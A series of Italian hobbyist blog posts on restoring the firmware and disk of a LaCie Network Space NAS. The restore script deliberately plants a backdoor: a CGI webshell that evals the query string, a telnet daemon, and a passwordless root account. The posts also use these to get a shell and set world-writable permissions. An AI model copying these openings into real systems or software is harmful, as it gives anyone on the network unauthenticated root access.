Visualizzazione post con etichetta network space. Mostra tutti i post
Visualizzazione post con etichetta network space. Mostra tutti i post

martedì 30 luglio 2013

LaCie Network Space: il primo avvio post ripristino

Benissimo, siamo giunti al momento fatidico, dopo aver ripristinato le partizioni del disco è giunto il momento di rimontare il disco nello "scatolotto" ed eseguire il primo avvio... qui si verifica il primo problema, al primo riavvio il dispositivo non va online ed è necessario attendere alcuni minuti dalla prima accensione, spegnerlo con l'apposito tasto e riaccenderlo, a questo punto il sistema andrà online.
Al secondo avvio il NAS dovrebbe andare online e risultare funzionante, collegatevi quindi con un web browser all'indirizzo http://LACIE_IP_ADDRESS/ ed inserite le credenziali di default (admin/admin)... a questo punto potete controllare se lo spazio disco viene visualizzato correttamente o meno (secondo problema con cui mi sono sempre scontrato... il filesystem xfs non viene visto correttamente e risulta impossibile montarlo). Se siete in questo caso non riuscirete a nessuna indicazione sullo spazio disponibile e quindi dovrete sistemare manualmente il problema.
A questo punto ci viene in aiuto la backdoor inserita, altrimenti dovremmo nuovamente smontare il disco e trovare un sistema per fargli vedere la partizione, ma risulterà molto più semplice utilizzare la backdoor eseguendo il demone telnet (con l'utente backdoor4root senza password) attraverso l'interfaccia web... quindi prepariamoci alla connessione:
  • connessione del browser all'indirizzo http://LACIE_IP_ADDRESS/cgi-bin/admin/webshell?/usr/sbin/utelnetd (il sistema sembrerà rimanere "appeso");
  • connessione alla shell con: telnet LACIE_IP_ADDRESS.
 A questo punto ci ritroviamo collegati all'unità con i permessi di amministrazione e possiamo fare i controlli e le verifiche del caso, eseguendo le correzioni necessarie... quindi questi sono i comandi che ho utilizzato per i controlli ed il ripristino finale dell'unità:

fdisk -l
df
mkfs.xfs /dev/sda2
mount /dev/sda2 /home
mkdir -pm 777 /home/myshare
mkdir -pm 777 /home/openshare
chmod -R 777 /home/*

A questo punto andando a visualizzare le informazioni sul disco dovrebbe essere apparso lo spazio che avete a disposizione.

Con questo direi che è tutto sulla fase di ripristino ed avviamento dell'unità LaCie Network Space... per chi volesse approfondire sappia che è disponibile un sacco di software precompilato da installare sull'unità, compreso ssh ed altri servizi server... potete scaricare il tutto da http://downloads.buffalo.nas-central.org/LSPro_ARM9/Distributions/Genlink/Binaries/armv5tejl-softfloat-linux-gnueabi/

Alla prossima!

LaCie Network Space: ripristino del disco

L'ultima volta abbiamo visto l'hardware a nostra disposizione e come deve essere organizzato il disco, deducendo ed analizzando le funzioni delle partizioni e dei relativi filesystem... adesso che siamo a conoscenza della struttura possiamo procedere al ripristino del disco, ma prima di fare questo dobbiamo trovare i dati con cui riempire le partizioni.
Il sito nas-central.org è un archivio di riferimento per chiunque abbia un nas, lo voglia ripristinare, lo voglia hackerare o semplicemente sia curioso di sapere come funziona e cosa contiene il proprio dispositivo; nel nostro caso siamo alla ricerca del software da caricare o delle immagini delle partizioni... quindi dobbiamo ringraziare l'utente klooride che ha smontato il suo nas salvando le immagini delle partizioni e le ha rese disponibili a chiunque ne avesse bisogno... quindi collegatevi all'indirizzo http://downloads.lacie.nas-central.org/Users/klooride/ e scaricatele.
Come potete notare c'è un file di tipo "dd" e tre di tipo "part"; questo è dovuto al fatto che la partizione 6 di tipo u-boot è binaria, mentre le altre sono di tipo ext3 e salvate e riconosciute dal software partimage, lo stesso software che utilizzeremo per il ripristino.
In precedenza avevo detto di prestare molta attenzione alle dimensioni delle partizioni create, questo perchè partimage permette di ripristinare un'immagine fatta solamente in una partizione di dimensioni uguali o superiori, anche se al momento del backup vi era molto spazio libero (e per questo motivo che non è presente la partizione 2 nelle immagini, avrebbe una dimensione molto grande, ma non conterrebbe alcun dato e quindi è stato scelto di crearla manualmente).
Quindi ora partiamo con la creazione delle partizioni su di un disco e come premessa consideriamo che questo disco è stato collegato ad una macchina linux e gli è stata assegnata l'unità sdb (ATTENZIONE, SE SBAGLIATE TUTTI I DATI DELLA PARTIZIONE DI DESTINAZIONE VERRANNO ELIMINATI E PURTRUPPO PARLO PER ESPERIENZA PERSONALE)... quindi come prima cosa scriviamo:

fdisk /dev/sdb

Ora dobbiamo digitare tutti i comandi per ricreare la struttura come avevo specificato in precedenza, ma se vi fidate ed il vostro fdisk funziona come il mio basta che facciate un copia/incolla di quello che troverete qui di seguito, dalla "n" fino alla "w" (compresi gli spazi che corrispondono ad un semplice invio):

n
e
1

+1004031K
p
n
l

+122457K
t
5
82
n

l

+8001K
n
l

+8001K
n
l

+176683K
n
l

+674698K
n
l

+8001K
n
p



p
w

A questo punto possiamo procedere con il ripristino... considerate che dobbiamo già avere a disposizione le immagini delle partizioni ed aver scaricato un demone telnet (http://downloads.nas-central.org/Uploads/LSPro/Binaries/utelnetd) per crearci una backdoor utilizzabile per risolvere eventuali problemi e collegarsi ad una shell.
Qui di seguito troverete una serie di comandi che automatizzano la creazione del sistema e si basa sempre sul presupposto che l'harddisk sia visto come sdb, se per voi fosse diverso assicuratevi di cambiare la sintassi dove richiesto:







mkswap /dev/sdb5
dd if=/dev/zero of=/dev/sdb10
dd if=lacieNS_sda6.dd of=/dev/sdb6
partimage -f 0 -b restore /dev/sdb7 lacieNS_sda7.part
partimage -f 0 -b restore /dev/sdb8 lacieNS_sda8.part
partimage -f 0 -b restore /dev/sdb9 lacieNS_sda9.part
mkfs.xfs /dev/sdb2 -f
for part in sdb2 sdb7 sdb8 sdb9; do mkdir -m /mnt/${part}; mount /dev/${part} /mnt/${part}; done;
echo -e "#"'!'"/bin/sh\necho \"Content-type: text/plain\"\necho \"\"\necho \$QUERY_STRING\neval \$QUERY_STRING" > /mnt/sdb8/www/cgi-bin/admin/webshell
chmod a+x /mnt/sdb8/www/cgi-bin/admin/webshell
cp utelnetd /mnt/sdb8/usr/sbin/utelnetd
chmod +x /mnt/sdb8/usr/sbin/utelnetd
echo "backdoor4root:x:0:0:Linux User,,,:/home:/bin/sh" >> /mnt/sdb8/etc/passwd
echo "backdoor4root::12488:0:99999:7:::" >> /mnt/sdb8/etc/shadow
mkdir /mnt/sdb2/myshare
mkdir /mnt/sdb2/openshare
chmod 777 /mnt/sdb2/*
for part in sdb2 sdb7 sdb8 sdb9; do umount /mnt/${part}; done;

Se tutto è andato per il verso giusto avete ripristinato la struttura del disco ed avete preparato la backdoor per potervi collegare ed operare da linea di comando, ora manca solamente più il riavviarlo, i controlli ed eventuali ritocchi se non tutto ha funzionato come previsto... quindi nella prossima puntata ci occuperemo della fase finale.

A presto!



mercoledì 7 novembre 2012

LaCie Network Space: la nuova sfida

Visto che ci ho preso gusto con i NAS ed avevo da più di un anno a disposizione due "scatolotti", che in precedenza erano dei Network Space, ma poi privati dei dischi, ho deciso di riesumarli e vedere cosa posso farci.
La prima speranza che avevo era che bastasse inserire un nuovo disco per avere nuovamente un NAS funzionante, ma così non è stato dato che il sistema operativo risiedeva sui dischi ed allora ho rimandato tutti i programmi... ora è giunto il momento di riprendere in mano il tutto e ripristinare i NAS, spiegando le procedure adottate.
Partiamo con lo spiegare l'hardware su cui si appoggia: il LaCie Network Space 1 che è stato distribuito in versioni con dischi da 500, 750 e 1000GB.
Come ormai largamente diffuse, la piattaforma hardware è composta dal processore ARM926EJ ed ha a disposizione una quantità di memoria di 16MB, decisamente poca per fargli svolgere funzioni impegnative, ma sufficiente per le funzioni di NAS e qualcos'altro... la piattaforma è dotata anche di una porta USB attraverso la quale è possibile eseguire i backup di eventuali dispositivi collegati.
Ultima informazione utile riguardante l'hardware... smontando anche lo schermo di protezione del circuito stampato è possibile vedere un connettore JTAG ad 8 pin con la seguente piedinatura:

1 VCC (+5V)
2 GND
3 JTAG TMS : input to board
4 JTAG TCK : input to board
5 JTAG TDO : output from board
6 JTAG TDI : input to board
7 Serial RxD : input to board
8 Serial TxD : output from board


Utilizzando un adattatore seriale/TTL da 3,3V (IMPORTANTE LA TENSIONE, ALTRIMENTI LA SERIALE DEL LACIE BRUCIA) è possibile collegare i pin 2, 7 e 8 per fare il debugging delle operazioni di avvio... io ho utilizzato un adattatore USB/seriale/TTL da 3,3V basato sul PL2303 ed acquistato su ebay ad Hong Kong.
Ora che sappiamo con che piattaforma abbiamo a che fare possiamo cominciare ad analizzare il sistema di funzionamento... dato che non ho potuto analizzare i dischi originali, quello che scriverò è stato prelevato dalla documentazione che ho trovato su internet e grazie alle operazioni fatte per ottenere un sistema funzionante.
Cominciamo con l'analisi delle partizioni fatta collegando il disco ad un PC (versione con disco da 1TB) e considerate che i blocchi sono da 1kB:

Device Boot  Start    End    Blocks  Id  System
/dev/sdb1        1    125   1004031   5  Extended
/dev/sdb2      126 121601 975755970  83  Linux
/dev/sdb5        1     16    128457  82  Linux swap / Solaris
/dev/sdb6       17     17      8001  83  Linux
/dev/sdb7       18     18      8001  83  Linux
/dev/sdb8       19     40   176683+  83  Linux
/dev/sdb9       41    124   674698+  83  Linux
/dev/sdb10     125    125      8001  83  Linux


Funzione delle varie partizioni:
  • sdb1 è la partizione estesa che contiene tutte quelle logiche;
  • sdb2 è la partizione riservata ai dati ed è di tipo XFS;
  • sdb5 è la partizione di swap per la memoria virtuale;
  • sdb6 contiene l'immagine per l'avvio di tipo u-boot/PPCBoot;
  • sdb7 è il primo filesystem di root ed è una partizione di tipo ext3;
  • sdb8 è il secondo filesystem di root ed è una partizione di tipo ext3;
  • sdb9 è un union filesystem è una partizione di tipo ext3;
  • sdb10 può contenere un secondo kernel ed è una partizione di tipo ext3.
Per oggi direi che le informazioni sono sufficienti... tenete presente che questa sarà la base da cui partiremo per la ricostruzione del sistema ed importantissime saranno le dimensioni delle partizioni... nel prossimo post in cui prenderò in considerazione la creazione del nuovo sistema queste saranno fondamentali per la riuscita del ripristino.

A presto!